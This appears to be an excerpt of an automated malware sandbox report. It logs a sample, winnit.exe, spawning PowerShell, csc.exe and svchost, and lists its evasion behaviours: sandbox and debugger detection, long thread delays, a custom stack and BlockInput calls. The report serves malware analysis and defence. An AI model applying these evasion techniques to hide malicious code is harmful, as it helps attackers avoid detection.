            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\AppData\Roaming\winnit.exeAPI/Special instruction interceptor: Address: F72B5C
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
            Source: winnit.exe, 00000006.00000003.2175727161.0000000001026000.00000004.00000020.00020000.00000000.sdmp, winnit.exe, 00000006.00000002.2186743274.0000000001026000.00000004.00000020.00020000.00000000.sdmp, winnit.exe, 00000006.00000003.2175628486.0000000000FBA000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCMON.EXEZ^
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAD1C0 rdtsc 7_2_03BAD1C0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7315Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2268Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\winnit.exeAPI coverage: 4.4 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3228Thread sleep count: 7315 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7140Thread sleep count: 2268 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6196Thread sleep time: -7378697629483816s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exe TID: 4268Thread sleep time: -30000s >= -30000sJump to behavior
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1445A GetFileAttributesW,FindFirstFileW,FindClose,6_2_00B1445A
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1C6D1 FindFirstFileW,FindClose,6_2_00B1C6D1
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,6_2_00B1C75C
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_00B1EF95
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,6_2_00B1F0F2
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_00B1F3F3
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B137EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00B137EF
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B13B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,6_2_00B13B12
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,6_2_00B1BCBC
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,6_2_00AB49A0
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: powershell.exe, 00000003.00000002.2184138928.00000000078C1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWx
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Remove-NetEventVmNetworkAdapter
            Source: powershell.exe, 00000003.00000002.2180350037.0000000003668000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: MSFTMSFT_NetEventVmNetworkAdatper.format.ps1xml
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Add-NetEventVmNetworkAdapter
            Source: powershell.exe, 00000003.00000002.2187516853.000000000893E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: powershell.exe, 00000003.00000002.2180350037.0000000003668000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FsulatedPMSFT_NetEventVmNetworkAdatper.cdxml
            Source: powershell.exe, 00000003.00000002.2180711036.0000000005218000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Get-NetEventVmNetworkAdapter
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAD1C0 rdtsc 7_2_03BAD1C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00417EA3 LdrLoadDll,7_2_00417EA3
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B23F09 BlockInput,6_2_00B23F09
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,6_2_00AB3B3A
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE5A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,6_2_00AE5A7C
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB4B37 LoadLibraryA,GetProcAddress,6_2_00AB4B37
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00F71798 mov eax, dword ptr fs:[00000030h]6_2_00F71798
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00F72DC8 mov eax, dword ptr fs:[00000030h]6_2_00F72DC8
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00F72E28 mov eax, dword ptr fs:[00000030h]6_2_00F72E28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B533A5 mov eax, dword ptr fs:[00000030h]7_2_03B533A5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B633A0 mov eax, dword ptr fs:[00000030h]7_2_03B633A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B633A0 mov eax, dword ptr fs:[00000030h]7_2_03B633A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B8739A mov eax, dword ptr fs:[00000030h]7_2_03B8739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B8739A mov eax, dword ptr fs:[00000030h]7_2_03B8739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B28397 mov eax, dword ptr fs:[00000030h]7_2_03B28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B28397 mov eax, dword ptr fs:[00000030h]7_2_03B28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B28397 mov eax, dword ptr fs:[00000030h]7_2_03B28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2E388 mov eax, dword ptr fs:[00000030h]7_2_03B2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2E388 mov eax, dword ptr fs:[00000030h]7_2_03B2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2E388 mov eax, dword ptr fs:[00000030h]7_2_03B2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5438F mov eax, dword ptr fs:[00000030h]7_2_03B5438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5438F mov eax, dword ptr fs:[00000030h]7_2_03B5438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C053FC mov eax, dword ptr fs:[00000030h]7_2_03C053FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E3F0 mov eax, dword ptr fs:[00000030h]7_2_03B4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E3F0 mov eax, dword ptr fs:[00000030h]7_2_03B4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E3F0 mov eax, dword ptr fs:[00000030h]7_2_03B4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B663FF mov eax, dword ptr fs:[00000030h]7_2_03B663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEF3E6 mov eax, dword ptr fs:[00000030h]7_2_03BEF3E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C0539D mov eax, dword ptr fs:[00000030h]7_2_03C0539D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B403E9 mov eax, dword ptr fs:[00000030h]7_2_03B403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B403E9 mov eax, dword ptr fs:[00000030h]7_2_03B403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B403E9 mov eax, dword ptr fs:[00000030h]7_2_03B403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B403E9 mov eax, dword ptr fs:[00000030h]7_2_03B403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B403E9 mov eax, dword ptr fs:[00000030h]7_2_03B403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B403E9 mov eax, dword ptr fs:[00000030h]7_2_03B403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B403E9 mov eax, dword ptr fs:[00000030h]7_2_03B403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B403E9 mov eax, dword ptr fs:[00000030h]7_2_03B403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEB3D0 mov ecx, dword ptr fs:[00000030h]7_2_03BEB3D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEC3CD mov eax, dword ptr fs:[00000030h]7_2_03BEC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]7_2_03B3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]7_2_03B3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]7_2_03B3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]7_2_03B3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]7_2_03B3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A3C0 mov eax, dword ptr fs:[00000030h]7_2_03B3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B383C0 mov eax, dword ptr fs:[00000030h]7_2_03B383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B383C0 mov eax, dword ptr fs:[00000030h]7_2_03B383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B383C0 mov eax, dword ptr fs:[00000030h]7_2_03B383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B383C0 mov eax, dword ptr fs:[00000030h]7_2_03B383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C05341 mov eax, dword ptr fs:[00000030h]7_2_03C05341
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B27330 mov eax, dword ptr fs:[00000030h]7_2_03B27330
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF132D mov eax, dword ptr fs:[00000030h]7_2_03BF132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF132D mov eax, dword ptr fs:[00000030h]7_2_03BF132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5F32A mov eax, dword ptr fs:[00000030h]7_2_03B5F32A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2C310 mov ecx, dword ptr fs:[00000030h]7_2_03B2C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B50310 mov ecx, dword ptr fs:[00000030h]7_2_03B50310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB930B mov eax, dword ptr fs:[00000030h]7_2_03BB930B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB930B mov eax, dword ptr fs:[00000030h]7_2_03BB930B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB930B mov eax, dword ptr fs:[00000030h]7_2_03BB930B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6A30B mov eax, dword ptr fs:[00000030h]7_2_03B6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6A30B mov eax, dword ptr fs:[00000030h]7_2_03B6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6A30B mov eax, dword ptr fs:[00000030h]7_2_03B6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BD437C mov eax, dword ptr fs:[00000030h]7_2_03BD437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B37370 mov eax, dword ptr fs:[00000030h]7_2_03B37370
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B37370 mov eax, dword ptr fs:[00000030h]7_2_03B37370
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B37370 mov eax, dword ptr fs:[00000030h]7_2_03B37370
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEF367 mov eax, dword ptr fs:[00000030h]7_2_03BEF367
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29353 mov eax, dword ptr fs:[00000030h]7_2_03B29353
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29353 mov eax, dword ptr fs:[00000030h]7_2_03B29353
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB035C mov eax, dword ptr fs:[00000030h]7_2_03BB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB035C mov eax, dword ptr fs:[00000030h]7_2_03BB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB035C mov eax, dword ptr fs:[00000030h]7_2_03BB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB035C mov ecx, dword ptr fs:[00000030h]7_2_03BB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB035C mov eax, dword ptr fs:[00000030h]7_2_03BB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB035C mov eax, dword ptr fs:[00000030h]7_2_03BB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFA352 mov eax, dword ptr fs:[00000030h]7_2_03BFA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB2349 mov eax, dword ptr fs:[00000030h]7_2_03BB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2D34C mov eax, dword ptr fs:[00000030h]7_2_03B2D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2D34C mov eax, dword ptr fs:[00000030h]7_2_03B2D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB92BC mov eax, dword ptr fs:[00000030h]7_2_03BB92BC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB92BC mov eax, dword ptr fs:[00000030h]7_2_03BB92BC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB92BC mov ecx, dword ptr fs:[00000030h]7_2_03BB92BC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB92BC mov ecx, dword ptr fs:[00000030h]7_2_03BB92BC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B402A0 mov eax, dword ptr fs:[00000030h]7_2_03B402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B402A0 mov eax, dword ptr fs:[00000030h]7_2_03B402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B452A0 mov eax, dword ptr fs:[00000030h]7_2_03B452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B452A0 mov eax, dword ptr fs:[00000030h]7_2_03B452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B452A0 mov eax, dword ptr fs:[00000030h]7_2_03B452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B452A0 mov eax, dword ptr fs:[00000030h]7_2_03B452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF92A6 mov eax, dword ptr fs:[00000030h]7_2_03BF92A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF92A6 mov eax, dword ptr fs:[00000030h]7_2_03BF92A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF92A6 mov eax, dword ptr fs:[00000030h]7_2_03BF92A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF92A6 mov eax, dword ptr fs:[00000030h]7_2_03BF92A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC62A0 mov eax, dword ptr fs:[00000030h]7_2_03BC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC62A0 mov ecx, dword ptr fs:[00000030h]7_2_03BC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC62A0 mov eax, dword ptr fs:[00000030h]7_2_03BC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC62A0 mov eax, dword ptr fs:[00000030h]7_2_03BC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC62A0 mov eax, dword ptr fs:[00000030h]7_2_03BC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC62A0 mov eax, dword ptr fs:[00000030h]7_2_03BC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC72A0 mov eax, dword ptr fs:[00000030h]7_2_03BC72A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC72A0 mov eax, dword ptr fs:[00000030h]7_2_03BC72A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C052E2 mov eax, dword ptr fs:[00000030h]7_2_03C052E2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6329E mov eax, dword ptr fs:[00000030h]7_2_03B6329E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6329E mov eax, dword ptr fs:[00000030h]7_2_03B6329E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6E284 mov eax, dword ptr fs:[00000030h]7_2_03B6E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6E284 mov eax, dword ptr fs:[00000030h]7_2_03B6E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB0283 mov eax, dword ptr fs:[00000030h]7_2_03BB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB0283 mov eax, dword ptr fs:[00000030h]7_2_03BB0283
